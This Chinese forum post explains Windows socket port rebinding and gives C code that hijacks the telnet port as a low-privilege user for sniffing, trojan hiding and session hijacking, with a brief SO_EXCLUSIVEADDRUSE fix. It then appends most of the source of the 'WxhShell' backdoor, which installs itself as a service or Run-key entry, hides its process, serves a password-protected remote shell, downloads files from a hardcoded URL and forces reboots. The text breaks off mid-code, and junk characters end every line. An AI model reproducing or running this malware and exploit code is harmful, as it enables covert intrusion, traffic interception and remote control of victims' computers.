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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hZ\W ?r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lTOM/^L  
ga1gd~a  
  saddr.sin_family = AF_INET; M?4r5R  
DneSzqO"o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I}W-5%  
':R3._tw\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k\thEEVP0*  
8$jT#\_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `@.s!L(V  
=*>4Gh i  
  这意味着什么?意味着可以进行如下的攻击: F6GZZKj  
(h>X:!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sr($Bw  
\`%Y-!H+v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QVRokI`BF  
Gv+Tg/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?VN]0{JSp  
Wo WM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T# _n-b>  
DGfQo5#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,ZP3F+XKb  
>\oJ&gdc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I&NpN~AU  
!%\To(r[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rs<&x(=Hv  
zf;[nz  
  #include ONe!'a0  
  #include 674oL,  
  #include d|?(c~  
  #include    >8fz ?A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tDLk ZCP  
  int main() Qx,$)|_  
  { *=0r>]  
  WORD wVersionRequested; eP)YJe 3  
  DWORD ret; "%f5ltut3  
  WSADATA wsaData; 6ewOZ,"j"4  
  BOOL val; a&c#* 9t{  
  SOCKADDR_IN saddr; [11-`v0  
  SOCKADDR_IN scaddr; 1 l*(8!_  
  int err; q {+poV X  
  SOCKET s; Yg,WdVI&@  
  SOCKET sc; V?J,ab$X#  
  int caddsize; 1o8"==n%  
  HANDLE mt; <C96]}/ ?  
  DWORD tid;   bq&S?! =s  
  wVersionRequested = MAKEWORD( 2, 2 ); N[bf.5T  
  err = WSAStartup( wVersionRequested, &wsaData ); ?*mbce[  
  if ( err != 0 ) { 6.7 Kp  
  printf("error!WSAStartup failed!\n"); |{LaZXU&  
  return -1; XM@i|AK M0  
  } 898wZ{9  
  saddr.sin_family = AF_INET; 9-iB?a7{.  
   E!~2\qKT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `8.32@rUB.  
42LXL*-4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); utl=O  
  saddr.sin_port = htons(23); GGL4<P7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wfTv<WG,.E  
  { ?uX6X'-  
  printf("error!socket failed!\n"); v9`B.(Ru  
  return -1; =bg&CZV T  
  } Fx:en|g  
  val = TRUE; 3a)Q:#okD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /FV6lR!0^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0#{]!>R  
  { "XsY~  
  printf("error!setsockopt failed!\n"); 1@z@  
  return -1; ow$l!8  
  } 2 Yd~v|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O*/-I pM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GJt9hDM$0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5a|m}2IX  
8lGgp&ey  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wk6&TrWlY  
  { k8wi-z[dV  
  ret=GetLastError(); W (c\$2`  
  printf("error!bind failed!\n"); Ci9wF (<k  
  return -1; V;]VwsZ"  
  } u2O^3r G-  
  listen(s,2); `b`52b\6S  
  while(1) c%/&@vs7  
  { C^=gZ 6m  
  caddsize = sizeof(scaddr); & O\!!1%  
  //接受连接请求 ~(L+4]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [K@!JY  
  if(sc!=INVALID_SOCKET) m:Cx~  
  { 'L59\y8H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "v(]"L  
  if(mt==NULL) >8;%F<o2  
  { d4h(F,K7V  
  printf("Thread Creat Failed!\n"); C{,] 1X6g  
  break; zYF&Dv/u/  
  } )0d".Q|v4  
  } +pViHOJu&V  
  CloseHandle(mt); P(nHXVSUE  
  } ZjW| qb  
  closesocket(s); !enz05VW6.  
  WSACleanup(); ]%8;c  
  return 0; ;U3Vows  
  }   *"sDaN0@R  
  DWORD WINAPI ClientThread(LPVOID lpParam) $<e .]`R  
  { %vYlu%c<  
  SOCKET ss = (SOCKET)lpParam; Eq;frnw>q  
  SOCKET sc; "(&`muIc  
  unsigned char buf[4096]; bK%tQeT  
  SOCKADDR_IN saddr; KBHKcFk  
  long num; t\d;}@bl  
  DWORD val; M]TVaN$v#  
  DWORD ret; @5VZ   
  //如果是隐藏端口应用的话,可以在此处加一些判断 uOqDJM'RM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vS__*} ^  
  saddr.sin_family = AF_INET; tU/NwA"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a(T4WDl^  
  saddr.sin_port = htons(23); <G?85*Nv_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QjN3j*@  
  { `2,_"9Z(  
  printf("error!socket failed!\n"); (MiOrzT  
  return -1; }(}vlL  
  } s\FNKWQ  
  val = 100; T\CQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Hdg-f>y]  
  { > 0)`uJ  
  ret = GetLastError(); Z@O e}\.$  
  return -1; 6v)eM=   
  } ^F9zS `Yz2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @7 HBXP  
  { \J&#C(pn  
  ret = GetLastError(); zn$ Ld,  
  return -1;  Jiylrf`o  
  } *<QL[qyV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9sU,.T  
  { &n kGdHX/a  
  printf("error!socket connect failed!\n");  2_v+q  
  closesocket(sc); Eakjsk  
  closesocket(ss); H4A+Dg,  
  return -1; "dOY_@kg  
  } S9+gVR8]C  
  while(1) Dq 4}VkY  
  { J&1N8Wk)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~M1%,]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2]f.mq_PD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2+cicBD  
  num = recv(ss,buf,4096,0); lS*.?4zX  
  if(num>0) m?G+#k;K  
  send(sc,buf,num,0); uxiX"0)g>  
  else if(num==0) o;I86dI6C  
  break; {j*+:Gj0V  
  num = recv(sc,buf,4096,0); 9gayu<J  
  if(num>0) IFoN<<7/2$  
  send(ss,buf,num,0); oioN0EuDk  
  else if(num==0) Ps4A B#3  
  break; v~QZO4[ '  
  } d}J#wT  
  closesocket(ss); wk/U"@lq  
  closesocket(sc); Q 5TyS8  
  return 0 ; :u93yH6~8  
  } 0LuY"(LR  
&`W,'qD$  
V t;&2v  
========================================================== >m{-&1Tx  
v A~hkkj{  
下边附上一个代码,,WXhSHELL R$`T"C"  
A1T;9`E  
========================================================== sJ()ItU5i  
~3]8f0^%m  
#include "stdafx.h" ~h|L;E"  
B%;+8]  
#include <stdio.h> 1&E&8In]$r  
#include <string.h> P"<ad kr  
#include <windows.h> H8k| >4  
#include <winsock2.h> .W:], 5e  
#include <winsvc.h> cu|q &  
#include <urlmon.h> 'Q,<_ L"  
$R36`wk  
#pragma comment (lib, "Ws2_32.lib") `o'sp9_3  
#pragma comment (lib, "urlmon.lib") nwH|Hs riU  
[/]3:|  
#define MAX_USER   100 // 最大客户端连接数 !XceiQu  
#define BUF_SOCK   200 // sock buffer f 2f $aZ  
#define KEY_BUFF   255 // 输入 buffer jZ yh   
)A;<'{t #L  
#define REBOOT     0   // 重启 f89<o#bm7h  
#define SHUTDOWN   1   // 关机 36UW oo  
Yy1Pipv  
#define DEF_PORT   5000 // 监听端口 ,aL"Wy(  
:7*\|2zA  
#define REG_LEN     16   // 注册表键长度 Np_6ZUaqz  
#define SVC_LEN     80   // NT服务名长度 obGSc)?j  
{ )K(}~VD  
// 从dll定义API m!if_Iq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "$9ZkADO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .<hv &t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l>q.BG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :g_ +{4  
d^>se'ya  
// wxhshell配置信息 Id1[}B-T  
struct WSCFG { -2 ?fg   
  int ws_port;         // 监听端口 <{j9|mt  
  char ws_passstr[REG_LEN]; // 口令 L1K_|X  
  int ws_autoins;       // 安装标记, 1=yes 0=no :6{HFMf"  
  char ws_regname[REG_LEN]; // 注册表键名 ]B[Qdn  
  char ws_svcname[REG_LEN]; // 服务名 /2I("x]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]ORat.*0[T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7G2N&v>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZrBxEf$f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no % VZ\4+8S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t trp| (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hG)lVo!L4j  
n_hD  
}; @^@-A\7[KO  
p%'((!a2  
// default Wxhshell configuration cd#TKmh7re  
struct WSCFG wscfg={DEF_PORT, -`o:W?V$u  
    "xuhuanlingzhe", \GP c_m:qL  
    1, A+&Va\|x  
    "Wxhshell", |R;=P(0it  
    "Wxhshell", uqH ;1T;s  
            "WxhShell Service", un=)k;oh  
    "Wrsky Windows CmdShell Service", o,I642R~  
    "Please Input Your Password: ", A}# Mrb  
  1, -B!pg7>'##  
  "http://www.wrsky.com/wxhshell.exe", rKxk?}  
  "Wxhshell.exe" I&0yUhn  
    }; |n/id(R+  
1??RX}8[L+  
// 消息定义模块 cj)~7 WF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eS|p3jk;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -)GfSk   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c$;enAf@  
char *msg_ws_ext="\n\rExit."; "G:>}cs%?  
char *msg_ws_end="\n\rQuit."; b%F*Nr  
char *msg_ws_boot="\n\rReboot..."; x&wUPo{  
char *msg_ws_poff="\n\rShutdown..."; d=XhOC$  
char *msg_ws_down="\n\rSave to "; glpdYg *  
#.RI9B  
char *msg_ws_err="\n\rErr!"; &gfQZxT  
char *msg_ws_ok="\n\rOK!"; ~x+w@4)a>  
)Ec;krb+  
char ExeFile[MAX_PATH]; s+11) ~  
int nUser = 0; @ ri. r1  
HANDLE handles[MAX_USER]; Fk:(% ci  
int OsIsNt; /uVB[Tk^  
&0`L;1R  
SERVICE_STATUS       serviceStatus; q ^?{6}sy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ub%q<sE*  
&r_B\j3  
// 函数声明 K||85l?<  
int Install(void); M DpXth7  
int Uninstall(void); "%Ak[04'  
int DownloadFile(char *sURL, SOCKET wsh); ?{V[bm  
int Boot(int flag); |r%P.f:y{X  
void HideProc(void); U?>cm`DBP  
int GetOsVer(void); ,MJZ*"V/3  
int Wxhshell(SOCKET wsl); bH&H\ Mx_k  
void TalkWithClient(void *cs); 6SwHl_2%  
int CmdShell(SOCKET sock); JC-L80-  
int StartFromService(void); lbY>R@5  
int StartWxhshell(LPSTR lpCmdLine); &wfM:a/c  
|V& k1{V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2#^[`sFPO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z3d&I]Tf  
f]4gDmn^  
// 数据结构和表定义 h) rHf3:  
SERVICE_TABLE_ENTRY DispatchTable[] = /T@lHxX  
{ mAMKCxz,  
{wscfg.ws_svcname, NTServiceMain}, qJ !xhf1  
{NULL, NULL} T&%>/7I>  
}; &'R]oeag  
K67x.PZ  
// 自我安装 q0}LfXql8  
int Install(void) LYKepk  
{ sf LBi~*j  
  char svExeFile[MAX_PATH]; UcZ3v]$I  
  HKEY key; 'D bHXS7N  
  strcpy(svExeFile,ExeFile); V}*b^<2o 5  
J_,y?}.e3  
// 如果是win9x系统,修改注册表设为自启动 Jad'8}0J  
if(!OsIsNt) { @ 9uwcM1F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8PQ& 7o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ``={FaV~m  
  RegCloseKey(key); laAG%lq/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D 6(w}W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Yklaq5  
  RegCloseKey(key); wo/H:3^N  
  return 0; `is6\RH  
    } w-1CA{"i7  
  } i^8Zp;O"f  
} 4-o$OI>  
else { rpd3Rp  
22GtTENd1h  
// 如果是NT以上系统,安装为系统服务 gaJS6*P#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "371`!%  
if (schSCManager!=0) =3@^TW(j  
{ sU>*S$X8  
  SC_HANDLE schService = CreateService </eh^<_~  
  ( Z?~7#F~Z`  
  schSCManager, C][`Dk\D{  
  wscfg.ws_svcname, vi'K|[!?  
  wscfg.ws_svcdisp, r6A7}v  
  SERVICE_ALL_ACCESS, A;kB"Tx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I|:*Dy,~  
  SERVICE_AUTO_START, <J- aq;p  
  SERVICE_ERROR_NORMAL, 9QpKB c  
  svExeFile, #2}S83 k  
  NULL, :ZUy(8%Wl  
  NULL, /];F4AO5  
  NULL, q+N}AKawB  
  NULL, &B) F_EI  
  NULL Jyd%!v  
  );  Z/64E^  
  if (schService!=0) (T@ov~ @  
  { te1lUQ  
  CloseServiceHandle(schService); k&Sg`'LG8  
  CloseServiceHandle(schSCManager); 'h:4 Fzo<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _PuMZjGL  
  strcat(svExeFile,wscfg.ws_svcname); .EI/0"^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J%nJO3,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X/@Gx 4  
  RegCloseKey(key); X%;,r 2g  
  return 0; ;m\E9ple  
    } NY_Oo!)3  
  } <4Ak$ E %"  
  CloseServiceHandle(schSCManager); !a0HF p$9  
} U_w)*)F  
} M+Dkn3bx  
nkpQM$FW  
return 1; $XJe)  
} 9AS,-5;XQ  
,7eN m>$  
// 自我卸载 j@9A!5<CCk  
int Uninstall(void) }!2|*Y  
{ L,R9jMx?_  
  HKEY key; bO-8<IjC_3  
==$Ox6.  
if(!OsIsNt) { FC(m)S2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RVD=CX  
  RegDeleteValue(key,wscfg.ws_regname); &4 ]%&mX)-  
  RegCloseKey(key); fz:F*zT1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P afmHXx  
  RegDeleteValue(key,wscfg.ws_regname); 'Y[\[]3[8  
  RegCloseKey(key); \"n&|_SZ\  
  return 0; ^E5Xpza  
  } 0\.y0 K8  
} WC`<N4g|  
}  ;v.l<AOE  
else { :^l`m9  
0^hz1\g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?Hq`*I?b9  
if (schSCManager!=0) '*K/K],S]  
{  ,5<-\"{]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [3j]r{0I  
  if (schService!=0) iE$0-Qe[3  
  { ~jJu*s$?  
  if(DeleteService(schService)!=0) { gp;(M~we  
  CloseServiceHandle(schService); nPKf~|\1{  
  CloseServiceHandle(schSCManager); <;= X7l+  
  return 0; X\M0Q%8  
  } J`\%'pEn  
  CloseServiceHandle(schService); B~z& "`  
  } eE1w<] Eg  
  CloseServiceHandle(schSCManager); yfYAA*S!z  
} BHa!jw_~o  
} #U'n=@U@(  
lQoa[#q  
return 1; No j6Ina  
} a}MOhM6T  
{<&x9<f9  
// 从指定url下载文件 cD7q;|+  
int DownloadFile(char *sURL, SOCKET wsh) $lUZm\R|k  
{ lxV> rmD  
  HRESULT hr; qxk1Rzm?x  
char seps[]= "/"; $vicxE~-E  
char *token; ?9/%K45  
char *file; 0^zu T  
char myURL[MAX_PATH]; VYvHpsI  
char myFILE[MAX_PATH]; *S*;rLH9c  
%]d^B |  
strcpy(myURL,sURL);  8DyE  
  token=strtok(myURL,seps); 0YW<>Y`6  
  while(token!=NULL) .{~ygHQ`f  
  { /SSl$  
    file=token; Hz28L$  
  token=strtok(NULL,seps); u2o6EU`  
  } :*Sl\:_X)  
XVE(p3-  
GetCurrentDirectory(MAX_PATH,myFILE); z9E*Mh(NE  
strcat(myFILE, "\\"); E}yl@8g:#  
strcat(myFILE, file); r*y4Vx7  
  send(wsh,myFILE,strlen(myFILE),0); 'Ko T8g\b  
send(wsh,"...",3,0); :QB Wy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c!E+&5|n  
  if(hr==S_OK) KK/~W  
return 0; _epi[zf@  
else -S Z^;t  
return 1; q^k6.5*"  
F~z4T/TN%G  
} 9^>nZ6  
`nn;E% n  
// 系统电源模块 BIS5u4  
int Boot(int flag) q>f1V3  
{ Q;Xb-\\  
  HANDLE hToken; q=Q5s?sQc  
  TOKEN_PRIVILEGES tkp; [Nsv]Yz  
HP"5*C5D  
  if(OsIsNt) { *b~$|H-\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p e |k}{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J!~?}Fq/z  
    tkp.PrivilegeCount = 1; OlQ7Yi>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =l?5!f9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @/yef3  
if(flag==REBOOT) { [iB`- dE,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 67%o83\  
  return 0; +Z#lf  
} 89?AcZ.D  
else { ?HAWw'QW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |'Z6M];8t  
  return 0; ig)rK<@*[  
} -"#;U`.oh7  
  } _.yBX\tf[  
  else { =X]$J@j  
if(flag==REBOOT) { >@` D@_v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]t(;bD hT  
  return 0; `pOiv&>  
} =;`+^  
else { c5nl!0XX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eBlVb*nmq  
  return 0; CZuV{Oh}?  
} L1 O\PEeT  
} P]bI".A8  
&FW|O(]  
return 1; *C}vy`X  
} 1-Sc@WXd  
f@]4udc e  
// win9x进程隐藏模块 'OK)[\  
void HideProc(void) ix [aS  
{ %\Z{~(&-v  
uF/l,[0v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #EgFB}>1  
  if ( hKernel != NULL ) wspZ Eu>C;  
  { i9 8T+{4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %D:Mt|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DfXXN  
    FreeLibrary(hKernel); Rbm"Qz  
  } [yJcM [p\  
.q"`)PT  
return; %lF}!  
} *$0u A N  
C{H:-"\J9  
// 获取操作系统版本 ^/h,C^/;  
int GetOsVer(void) 8F9sKRq|rO  
{ c!d>6:\  
  OSVERSIONINFO winfo; ]_G!(`Udh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z GhJ  
  GetVersionEx(&winfo); rd vq(\A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lb{<}1YR0o  
  return 1; M[g9D  
  else cNZuwS~,  
  return 0; KU|dw^Yk  
} o4^rE<vJ  
*F42GiBZR  
// 客户端句柄模块 URz$hcI8  
int Wxhshell(SOCKET wsl) Y &6vTU  
{ ZaIlo5  
  SOCKET wsh; KP(RK4F  
  struct sockaddr_in client; c*sK| U7)  
  DWORD myID; p(g0+.?`~  
mR\rK&'6  
  while(nUser<MAX_USER) FJ#:RC  
{ XT~!dq5  
  int nSize=sizeof(client); Vv8e"S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YII1 Z'q  
  if(wsh==INVALID_SOCKET) return 1; R2|v[nh  
N|WZk2 "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K; ,2ag  
if(handles[nUser]==0) :FcYjw  
  closesocket(wsh); |]kcgLqj  
else n&DRh.@  
  nUser++; v!{mpF  
  } _BHR ?I[w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bKRz=$P?  
65X$k]x  
  return 0; jODx&dVr  
} tXDO@YH3S  
T1sb6CT  
// 关闭 socket zkHwoAD;t8  
void CloseIt(SOCKET wsh) +nU"P  
{ J{<,V\t)  
closesocket(wsh); ;<i`6e  
nUser--; c'ExZ)RJ  
ExitThread(0); "^_9t'0  
} lv\C(^mGq  
nK=-SQ  
// 客户端请求句柄 f_y+B]?'M  
void TalkWithClient(void *cs) G9"2h \  
{ u2%/</]h  
MY1s  
  SOCKET wsh=(SOCKET)cs; XaOq&7  
  char pwd[SVC_LEN]; ig(dGKD\=9  
  char cmd[KEY_BUFF]; /G[; kR"  
char chr[1]; j5QS/3  
int i,j; ZU\TA|  
mVUDPMyZ  
  while (nUser < MAX_USER) { VbQ9o  
}g6:9%ZMu  
if(wscfg.ws_passstr) { A& u"NgJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CvDy;'{y1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<g,1TR  
  //ZeroMemory(pwd,KEY_BUFF); aMI\gCB/  
      i=0; *E lR  
  while(i<SVC_LEN) { .b'hVOs{  
#Q320}]{  
  // 设置超时 DWT4D)C,U  
  fd_set FdRead; OJ0Dw*K<  
  struct timeval TimeOut; 2O}UVp>  
  FD_ZERO(&FdRead); $C@v  
  FD_SET(wsh,&FdRead); 1xAZ0X#  
  TimeOut.tv_sec=8; *tkbC2D  
  TimeOut.tv_usec=0; 'oNY4.[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c@iP^;D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^,F8 ha  
AWSe!\b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E{_$C!.  
  pwd=chr[0]; &aD ]_+b  
  if(chr[0]==0xd || chr[0]==0xa) { svki=GD_(.  
  pwd=0; a:nMW'!  
  break; Q(Uj5aX  
  } BfQRw>dZ"{  
  i++; ~&)  
    } Rf7*Ut wVr  
bj)dYj f  
  // 如果是非法用户,关闭 socket tS!|#h-J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RDX".'`(=  
}  O+D"7  
PW a!7n#A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `72 uf<YQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P5{|U"Y_  
~b L^&o(W  
while(1) { *oR`l32O0z  
7I.7%m,g  
  ZeroMemory(cmd,KEY_BUFF); i&KD)&9b#  
z=q   
      // 自动支持客户端 telnet标准   qgTN %%"~  
  j=0; >9KQWeD  
  while(j<KEY_BUFF) { k8]=5C?k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f{_K%0*  
  cmd[j]=chr[0]; T^'NC8v  
  if(chr[0]==0xa || chr[0]==0xd) { #N"zTW%  
  cmd[j]=0; ]u~6fknm  
  break; %*4Gx +b  
  } w783e  
  j++; 9AJMm1 _  
    } L\p@1N?K  
_ElA\L4g%  
  // 下载文件 mG;Gt=4  
  if(strstr(cmd,"http://")) { B/@9.a.c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z>_jC+  
  if(DownloadFile(cmd,wsh)) P8#;a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GUUVE@Z  
  else ?9<byEO%M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7vBB <\  
  } \gd.Bl  
  else { _Se~bkw?v  
<cTusC<  
    switch(cmd[0]) { etbB;!6  
  ~c8Z9[QW  
  // 帮助 ]F&<{\:_}  
  case '?': { ~4p@m>>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ba_T:;';0  
    break; ep]tio_  
  } )2c[]d /a4  
  // 安装 3W*O%9t7  
  case 'i': { # f~,8<K  
    if(Install()) G(piq4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "],amJ  
    else gwFHp .mE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gx75EQ2  
    break; jtWI@04o09  
    } TRQX#))B  
  // 卸载  lZ^UAFF  
  case 'r': { Rb_HD  
    if(Uninstall()) Epm'u[wV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); neC]\B[Xm  
    else e<|'   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); enu",wC3  
    break; [&mYW.O<  
    } 7X|M\WUq  
  // 显示 wxhshell 所在路径 }^J&D=J5V  
  case 'p': { UYu 54`'kg  
    char svExeFile[MAX_PATH]; cpV:y  
    strcpy(svExeFile,"\n\r"); @=jcdn!\M  
      strcat(svExeFile,ExeFile); LGb.>O^  
        send(wsh,svExeFile,strlen(svExeFile),0); ebF},Q(48  
    break; k]*DuVCOX  
    } #]`ejr:2O  
  // 重启 .F=15A  
  case 'b': { 8'+XR`g:ax  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y4PU~ l  
    if(Boot(REBOOT)) 5S:&^ A<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .MO"8}]8Z  
    else { @Bfwb?&  
    closesocket(wsh); }<Y3 jQnl  
    ExitThread(0); m4:b?[  
    } F8 4LMk?U  
    break; :z=/z!5:j  
    } 4i'2~w{/  
  // 关机 ]1]  
  case 'd': { /wIev1Z!Y  
